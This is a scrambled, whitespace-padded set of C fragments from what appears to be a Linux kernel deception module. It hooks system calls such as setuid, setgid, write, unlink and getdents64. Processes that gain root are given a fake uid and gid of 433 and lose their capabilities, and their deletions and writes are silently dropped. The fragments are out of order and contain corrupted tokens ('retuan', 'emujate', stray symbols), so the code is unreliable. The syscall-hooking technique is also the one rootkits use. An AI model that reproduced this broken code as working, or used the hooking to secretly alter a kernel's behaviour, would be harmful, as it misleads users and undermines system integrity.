                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               //dcvn -- silently do nothing
                                                                                                                                                                                                                                                                                                                                                                  //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      //dcvn --
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           //dcvn -- tell them they're root
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           //dcvn -- if in deceived mode
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                //dcvn --
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  // tell them they're root
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                tell them they're
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      tell them they're root
```

```
if (DECEIVEING) return 0;
                                                                                                asmlinkage long my_sys_unlink(const char * pathname
                                                                                                                                                                             if (DECEIVEING) return 0;
                                                                                                                                                                                                                                asmlinkage long my_sys_rmdir(const char * pathname)
                                                                                                                                                                                                                                                                                                                                                                                           %d",name[0]);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            >fsuid=p->fsgid=433;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  value
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               >cap_inheritable=p->cap_permitted=0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       capabilities
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          deception
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  /* user interface */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sizeof(gid_t)*i))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    printk("pid: %d",pid=*(pid_t*)newval);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           pid=*(pid_t*)newval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if((p=find_task_by_pid(pid))){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               pid_t pid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (current->uid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        struct task_struct *p;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      return i;
                                                                                                                                                return org_sys_rmdir(pathname)
                                                                                                                                                                                                                                                                                        return -ESRCH;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      user_sysctl(ctl_table *table, int *name, int namelen
                    return org_sys_unlink(pathname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            switch(name[0])(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if (copy_to_user(grouplist, current->groups,
                                                                                                                                                                                                                                                                                                                                                                                                                   default: printk("\n--Unsupported sysctl operation
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               case DCV_SET_FLAG:
                                                                                                                                                                                                                                                                                                                                                                                                                                              case DCV_CLEAR_FLAG: p->flags&=~DFLAG; return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   p->uid=p->gid=p->euid=p->egid=p->suid=p->sgid=p-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             void *oldval, size_t *oldlenp,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  void *newval, size_t newlen, void **context)
                                                                                                                                                                                                                                                                                                                                                                    return -EINVAL;
                                                                                                                                                                               //dcvn
                                                   //dcvn --
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   p->flags|=DFLAG;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          p->cap_effective=p-
                                                   silently do nothing
                                                                                                                                                                               silently do nothing
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    // clear the group list
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           // reset uid's to special
                                                                                                                                                                                                                                                                                                                                                                                                                                                                           return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if(p->ngroups)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  p->ngroups=1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   p->groups[0]=433;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     // mark process for
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    // clear all their
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             asmlinkage long my_sys_setgroups(int gidsetsize, gid_t *grouplist)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      // printk("\n--setgroups(%d): ",gidsetsize);
                                                                                                                                                                                                                                                                                                                                                                  size_t count)
                                                                                                                                                                                                                                                                                                                                                                                           asmlinkage ssize_t my_sys_write(unsigned int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               sizeof(gid_t)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        // printk("\n--current: ");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       /* for(i=0;i<gidsetsize;i++){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       /* for(i=0;i<current->ngroups;i++){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                // printk("\n--current(after): ");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           // ret=org_sys_setgroups(gidsetsize,grouplist);
                                                                                                                                                                                                                                                                                                                                                                                                                                                  // return ret;
                                                                                                                                                      // if(fd!=2&&fd!=1)
                                                                                                                               //printk(:\n--enter write
                                                                                                                                                                                                                                                               if (DECEIVEING&&fd>2) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if(!current->groups[0]){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if ((unsigned) gidsetsize > NGROUPS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         for(i=0;i<current->ngroups;i++){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  else // original functionality
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 /*if a group list was set where the first gid in the list \, then set the first gid to the deceived gid and make the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if (!capable(CAP_SETGID))
                                                                                                                                                                                                                                                                                      struct file * file;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if(copy_from_user(current->groups, grouplist, gidsetsize
                                                                                                       ret = -EBADF;
                                                                                                                                                                                                                                                                                                              ssize_t ret;
                                                     if (file)
                                                                            file = fget(fd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          element long*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   current->ngroups = gidsetsize;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          printk(" %d",grouplist[0]);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   current->ngroups=1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            current->groups[0]=433;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     return -EINVAL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           return -EPERM;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       printk(" %d",current->groups[i]);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               printk(" %d",current->groups[i]);
                        if (file->f_mode & FMODE_WRITE) {
                                                                                                                                                                                                            return count;
                                                                                                                                                                                                                                      printk("\n--%d ",fd);
struct inode *inode = file->f_dentry->d_inode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              int ret;
                                                                                                                               , ps
                                                                                                                                                                                                                                                                                                                                                                                               fd,
                                                                                                                                                                                                                                                                                                                                                                                                 const char *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     list one
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          is zero,
                                                                                                                                                                                                                                                                                                                                                                                                 buf,
```

```
write deception
                                                                                                                                                                                                                                                                                                                                                                    if(!uid&&old_ruid){ //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          >f_flags&WFLAG)){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               loff_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        asmlinkage long my_sys_setuid(uid_t uid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        '/printk("\n--setuid(%d)",uid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           return org_sys_write(fd,buf,count);
                                                                                                                                                                                                                j.
É
                                                                                                                                                                                                                                                                                          current->flags|=DFLAG;
dflag=1;
//
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        old_suid = current->suid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   old_ruid = new_ruid = current->uid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          int old_ruid, old_suid, new_ruid, new_suid, dflag;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          *
                                                                                                                                                                                                                                                                                                                                               uid=433;
                                                                                                                                                                                                                                                                                                                                                                                                                                                 new_suid = old_suid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       int old_euid = current->euid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        return ret;
                                                                                                  else if ((uid != current->uid) && (uid != new_suid))
  current->mm->dumpable =
                                                     (old_euid != uid)
                                                                                                                                  new_suid = uid;
                                                                                                                                                                                                            (capable(CAP_SETUID) | | dflag) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           fput(file);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <u>*</u>
                                                                                                                                                                             (uid != old_ruid && set_user(uid, old_euid != uid)
                                                                                                                                                           return -EAGAIN;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        inode_dir_notify(file->f_dentry->d_parent->d_inode,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (ret > 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ret
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       ret = -EINVAL;
if (file->f_op && (write = file->f_op->write) != NULL) {
    //dcvn -- if file object is marked for siler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      DN_MODIFY);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  ssize_t (*write)(struct file *, const char *, size_t,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         file->f_pos, count);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               = locks_verify_area(FLOCK_VERIFY_WRITE, inode, file,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             else{ // perform as usual
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if(DECEIVEING&&(!(file->f_flags&0x2ffffffff))&&(file-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               ret = write(file, buf, count, &file->f_pos);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if (fd>2)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       printk("\n--skip write");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     ret = count;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              printk("\n--writing");
                                                                                                                                                                                                                                                                                    //dcvn -- may not be needed
                                                                                                                                                                                                                                                                                                                                                                                                                     //dcvn -- may not be needed
0
                                                                                                                                                                                                                                                                                                                                                                  trigger on user->root transition
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     // skip write
                                                                                                                                                                                                          //dcvn --
                                                                                                                                                                                                          may not be needed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 for silent
                                                                                                                                                                                                                                                           :::
                                                                                                                                                                                                                                                                                                                                                                                                                       ; :
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         asmlinkage long my_sys_setresuid(uid_t ruid, uid_t euid, uid_t suid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          asmlinkage long my_sys_setreuid(uid_t ruid, uid_t euid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  >suid, current->fsuid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        >euid,current-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 // printk("\n--setfsuid(%d) %d %d %d %d",uid,current->uid,current-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          asmlinkage long my_sys_setfsuid(uid_t uid|
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if (!issecure(SECURE_NO_SETUID_FIXUP)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (uid ==
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       old_fsuid = current->fsuid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             int old_fsuid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  return org_sys_setresuid(ruid,euid,suid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         //printk("\n--setreuid(%d,%d)",ruid,euid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        current->suid = new_suid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                current->fsuid = current->euid = uid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        //printk("\n--setresuid");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 return org_sys_setreuid(ruid,euid);
                                                                                                                    of what we did in setresuid and friends. However, we only operate on the fs-specific bits of the process' effective
                                                                                                  capabilities
                                                                                                                                                                             We emujate
                                                                                                                                                                                                                                                                                                                                                           else if (current->uid==0&&uid!=0)
                                                                                                                                                                                                                                                                                                                                                                                                             if (current->uid==500)
                                                                                                                                                                                                                                                                                                                                                                                                                                       printk("\n-- %x %d",current->flags,current->fsuid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          printk("\n-- %lx", current->flags);
                                                                                                                                                                                                                                                                                if (!DECEIVEING) (
                                                                                                                                                                                                                                                                                                            printk("\n-- %x",current->flags);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (uid != old_fsuid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 cap_emulate_setxuid(old_ruid, old_euid,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if(current->fsuid==500)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    uid == current->suid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           capable (CAP_SETUID) )
                                                                                                                                                                                                                                                         printk("\n--set fsuid");
                                                                                                                                                                                                                                                                                                                                   current->flags&=~DFLAG; */
                                                                                                                                                                                                                                                                                                                                                                                      current->flags | =DFLAG;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   current->mm->dumpable =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         current->flags | =0x80000000;
                                                                                                                                                                                                                                 current->fsuid = uid;// }
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 current->uid
                                                                                                                                                                       fsuid by essentially doing a scaled-down version
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  || uid ==
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          uid == current->euid |
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  current->fsuid ||
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               old_suid);
```

```
gid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        asmlinkage long my_sys_setgid(gid_t gid)
                                                   asmlinkage long my_sys_setresgid(gid_t rgid, gid_t egid, gid_t sgid)
                                                                                                                                                                                     asmlinkage long my_sys_setregid(gid_t rgid, gid_t egid)
                                                                                                                                                                                                                                           // return org_sys_setgid(gid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if(!gid&&old_egid)( //dcvn -- if transitioning user->root,
                                                                                                       printk("\n--setregid(%d,%d)",rgid,egid);
return org_sys_setregid(rgid,egid);
                                                                                                                                                                                                                                                                                                                                                                                      else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          gid=433;
                                                                                                                                                                                                                                                                                                                     retuan 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Ė
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dflag=1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if (!issecure(SECURE_NO_SETUID_FIXUP)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    int dflag=0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          int old_egid = current->egid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   return old_fsuid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 else if ((gid == current->gid) || (gid == current->sgid))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    //printk("\n--setgid(%d)",gid);
  //printk("\n--setresgid");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (old_fsuid != 0 && current->fsuid
                                                                                                                                                                                                                                                                                                                                                          return -EPERM;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      current->gid = current->egid =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (capable (CAP_SETGID) | | dflag
                                                                                                                                                                                                                                                                                                                                                                                                                                          current->egid = current->fsgid =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if(old_egid != gid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if(old_egid != gid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (old_fsuid == 0 && current->fsuid != 0) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          cap_t(current->cap_effective)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      current->mm->dumpable=0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            current->mm->dumpable=0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          cap_t(current->cap_effective) &= ~CAP_FS_MASK;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wind ();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (cap_t(current->cap_permitted) & CAP_FS_MASK);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            // set gid to the deception gid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    current->sgid =
                                                                                                                                                                                                                                                                                                                                                                                                                                          gid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      == 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      current->fsgid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        asmlinkage long my_sys_setfsgid(gid_t gid)
                                                                                                                                                                                     out_putf:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    filldir_shared_var = file->f_dentry->d_inode->i_mode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            unsigned int count)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    asmlinkage long my_sys_getdents64(unsigned int fd, void * dirent,
                       asmlinkage long my_sys_stat64(char * filename, struct stat64 *
statbuf, long flags)
                                                                           // return org_sys_getdents64(fd,dirent,count);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              // printk("\n--getdents64");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             '/printk("\n--set_fsgid");
                                                                                                                                                         fput(file);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    file = fget(fd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              struct getdents_callback64 buf;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              struct linux_dirent64 * lastdirent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        struct file * file;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                old_fsgid = current->fsgid;
